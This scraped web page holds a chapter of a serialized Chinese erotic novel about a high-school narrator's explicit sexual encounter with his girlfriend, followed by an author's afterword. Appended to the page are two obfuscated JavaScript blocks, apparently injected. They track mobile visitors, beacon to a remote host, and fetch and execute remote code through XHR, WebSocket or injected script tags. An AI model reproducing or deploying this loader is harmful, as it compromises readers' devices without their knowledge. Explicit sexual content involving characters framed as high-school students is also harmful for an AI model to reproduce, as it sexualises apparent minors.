“啊!文…你不要看啦…”妍萱发现我已经在偷看她的底裤,羞的两手把脸一摀。

“萱…你…底下好湿喔…”我不想拆穿她我注意到阴毛的事。

“嗯∼不要看啦…”妍萱用娃娃音撒娇的声音,让我全身都要融化了。

注意到她仍害羞的摀着脸,我继续偷看着她的底裤,然后开始继续沿着鼓起的耻丘两侧上下滑动,抚过肌肤上的短毛的刮躁感,让妍萱敏感的下身微微颤抖着。

“嗯…嗯…嗯…嗯……文…中间…中间想要……”

“嗯。”我这次滑到下方,就两指并拢,然后由下方开始轻轻地沿着耻丘中央凹陷的小穴慢慢的刮上来。内裤中央真的好湿,我没有抠得太深,只是浅浅的掠过表面,然后由下而上,放开,再由下而上的,轻轻隔着湿溽的内裤抠弄她。 “嗯…嗯…文…好舒服…”

“萱…喜欢这样摸吗?”

“嗯…再…再深一点…”

我这次伸到下面时,用单指稍微施加压力的往内一挤,感觉原本密合的两片外阴唇自然地往两侧分开,陷落的手指感觉隔着内裤接触到了一片更湿滑柔软的地带,而且还温温热热的。

“嗯∼嗯……嗯……”我手指稍微再一顶,妍萱忍不住一声呻吟。这边怎么这么敏感,是女孩子的阴道吗?还是他们说的小阴唇?我不敢再深入,就维持这样的深度,慢慢沿着小缝往上滑,然后再往下滑回来,我不敢走的太上面,因为我知道再上去,可能会碰到她的“豆豆”。

“嗯∼嗯∼嗯∼嗯∼文…好…舒服…人家…不要了…”

我感觉手指头都被她沾的湿透了,萱她真的是有个很敏感的体质,还是…其实所有的女孩子都是这样?榕榕…暐榕她呢?她会不会,给其他的男生一摸,下面也会一下子就湿成一片?我想到那次在视听教室最后一排桌子底下,帮她找手机吊饰时,看到她内裤的湿痕,心里不禁一阵酸。那个混混,如果对榕她出手,会不会也像现在这样,弄得一发不可收拾!?

“文?”听到妍萱的声音,我才发现自己已经停下动作,手指半插在她凹陷的内裤中央。

她可能以为我是听到她讲‘不要了’才停下动作的。怕她发现我分心了,我赶紧再继续轻轻的抠弄。这次我不再保留,每次由下往上抠弄得幅度越来越大,直到最后一下碰触到小缝的最上缘。

“啊嗯∼∼”妍萱像触电般,身子震了一大下。我吓得停在那边不敢再动。 这里…就是她的“豆豆”吗?我再次把食指移回小穴下缘,然后深深的挤入再慢慢的往上抠,快到尽头时,我又加重力道的掠过去。

“嗯∼∼……文…那边…那边想揉揉…”

果然,刚刚碰到小穴上缘,微微突起的地方,就是她最敏感的“豆豆”了吧。 “萱萱喜欢被摸这里喔?”我看着妍萱,她仍然摀着脸。

“嗯……”从她双手的缝隙中,我听到她用鼻音的小声地回答。

“那…我要开始啰…”

我学着想像中那个人的手法,食指中指并拢,开始由小穴缝上缘,贴着内裤慢慢往上移,马上就触碰到一颗花生粒大小的突起物。我两指放着那的地方,开始轻轻地转动。

“嗯…嗯…嗯…嗯∼∼嗯∼∼”妍萱没多久,马上又开始呻吟起来。

刚开始我怕抓不准力度,不敢太大力,只是轻轻地押着它转,光是这样的动作,我就感觉到妍萱两腿越绷越紧,鼻腔泄出的呻吟也越发大声。我想和那个人一样,要真正让她舒服,不应该让她太快到。于是我再转了两下,便放开手。 “文…怎么…”没等她说完,我就把手指贴回去,但轻点了一下又弹开,妍萱身子又是一震。于是我故技重施,开始一下一下用两指轻点她的“豆豆”,惹得妍萱身子舒服的不停颤抖。我发现这样将女孩子的身体摆布在手中,真的有股异样的快感,我…怎么跟那个人一样,在做这样变态的事。

“嗯∼ 嗯∼ 嗯∼ 文…这样…嗯∼…好舒服…”随着每次手指的落下,妍萱可爱的呻吟都会不经意泄出,我忍不住逐渐加快触碰的频率。

“嗯∼∼嗯∼∼嗯∼∼文∼这样∼快∼快不行了∼”

我想应该吊足她胃口了,两指最后再点一下时,就死死贴着它,然后又开始转圈圈。

“喔∼嗯∼∼嗯∼∼嗯∼∼好舒服∼不行∼嗯∼∼”

我一会用转圈的揉着它,一会用两指指腹轻轻夹着左右摇晃它,妍萱的呻吟已经充斥整个小房间,我注意到她不只两腿绷紧,连屁股都紧绷到微微擡起,好像希望我更大力的揉她一样。

“啊嗯∼嗯∼嗯∼文∼好舒服∼人家∼快不行∼嗯∼∼”

我想起日记中那个人最后一招,找到“豆豆”最突起的尖端,然后两指稍微用力地压在上面,然后开始急速地抖动我的手指。

“呀嗯∼∼嗯∼嗯∼嗯∼不行∼这样…不行∼∼快∼快要到了∼文∼∼∼”由她激烈的反应,我知道再一下她就要达到高潮,尽管急速地抖动让手很酸,但我死命撑住继续让手指维持高速的震动。

“嗯∼∼∼文∼∼要到了∼∼要到了∼”

我看到妍萱全身痉挛似的紧绷,仍然套着白色半桶袜的小脚指僵硬的弯曲着。原本摀着脸的双手,不知何时已经伸往两旁,紧紧抓着枕头套。

“啊嗯!!!∼∼∼∼∼∼∼∼”

妍萱最后一声淫叫,她…在我手中达到了高潮!我慢慢地停下抖动的手指,直到她身体痉挛般的抽蓄慢慢缓和,我才将手指离开她的“豆豆”,我忍不住再看一眼她的底裤,不只是内裤湿透了,我看到床单也染上一片湿湿的痕迹。 我好奇的把沾湿的手指拿到鼻子旁,一股咸涩的味道扑鼻而来,不是很好闻,但,一闻会让人觉得更加的…亢奋和冲动。

第十九章完

下回预告:我的高中生活(20)女友的房间(三)

======================================================================

本集登场人物:

本人 许建文

女友 吕妍萱

后记:

先澄清一下,我真的不是故意要发两篇来赚文章数的(好啦,有点顺便就是),其实本来“女友的房间”只要写一章的,但一个不小心又写太多,而且到周日晚还来不及写完,更不用说校稿了。想把它拆成上下章,但剩的下章它的篇幅完全不成比例,因此干脆分成一二三集来贴,但又因为欠太久没肉了,上周答应大家的,于是今天就连发两篇吧。其实我顺便也想看一下,荤的和素的文章点阅率到底差多少?

不晓得原本不喜欢妍萱的朋友,看完这章会不会对她有点加分呢?如果同时有这么两个女孩子都对你好,一个是温柔婉约、气质贤慧的乖乖女;一个是很自己的想法、常会跟你拌嘴闹脾气、可爱的她,你会选择哪一个呢?(只能选一个啊!)

又如果有一天,这样外表温婉贤淑,却又内心火热,身体有着极度渴望的可爱前女友对你投怀送抱,你能够把持得住吗?如果你是建文,又会做出什么样的抉择呢?


上一篇:七个性爱小秘诀自由控制射精

下一篇:新婚


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};